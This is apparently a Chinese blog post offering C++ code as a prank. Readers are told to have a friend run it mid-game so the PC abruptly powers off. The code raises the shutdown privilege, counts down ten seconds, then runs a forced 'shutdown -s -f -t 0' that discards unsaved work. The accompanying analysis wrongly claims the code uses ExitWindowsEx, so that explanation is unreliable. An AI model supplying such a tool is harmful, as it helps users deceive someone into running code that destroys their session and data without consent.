目录
🚀欢迎互三👉:程序猿方梓燚 💎💎
🚀关注博主,后期持续更新系列文章
🚀如果有错误感谢请大家批评指出,及时修改
🚀感谢大家点赞👍收藏⭐评论✍
📒温馨提示
当你的好友打游戏正上头时,让他运行如下代码,电脑突然强制关机
ta当时的心情一定先
然后
接着
再……犹如拨云见日,茅塞顿开般看着你
最后
所以当整了ta之后应立即
📒示例代码
#include<stdio.h>
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
// 主函数
int main() {
HANDLE hToken; // 定义进程令牌句柄
TOKEN_PRIVILEGES tkp; // 定义令牌特权结构体
OSVERSIONINFO osvi; // 定义操作系统版本信息结构体
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // 设置版本信息结构体的大小
// 获取操作系统版本信息,如果获取失败则返回 0
if (GetVersionEx(&osvi) == 0) return 0;
// 如果操作系统平台为 Windows NT
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT) {
// 尝试打开当前进程的令牌,如果失败则返回 0
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return 0;
// 查找关机特权的值
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // 设置特权数量为 1
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用特权
// 调整令牌特权
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL);
}
// 执行关机操作
for (int i = 10; i >= 0 ; i -= 1) {
Sleep(1000);
system("cls");
cout << "您的电脑还有" << i << "秒即将关机" << endl;
while (i == 0) {
system("shutdown -s -f -t 0");
}
}
}
📒代码分析
以下是对这段代码的分析:
- 包含了必要的头文件
<stdio.h>
用于标准输入输出,<windows.h>
用于 Windows 编程相关的功能。 - 在
main
函数中,首先定义了一些变量和结构体来处理进程令牌和权限相关的操作。HANDLE hToken;
用于存储进程令牌的句柄。TOKEN_PRIVILEGES tkp;
用于设置权限。OSVERSIONINFO osvi;
用于获取操作系统版本信息。
- 通过
GetVersionEx
函数获取操作系统版本信息,并检查是否为 Windows NT 平台。 - 如果是 Windows NT 平台,尝试打开当前进程的令牌,并查找关机权限的值。
- 设置权限相关的属性,然后使用
AdjustTokenPrivileges
函数调整令牌权限。 - 最后,使用
ExitWindowsEx
函数执行关机操作,指定关机类型为EWX_SHUTDOWN
,并提供了一个主要的关机原因。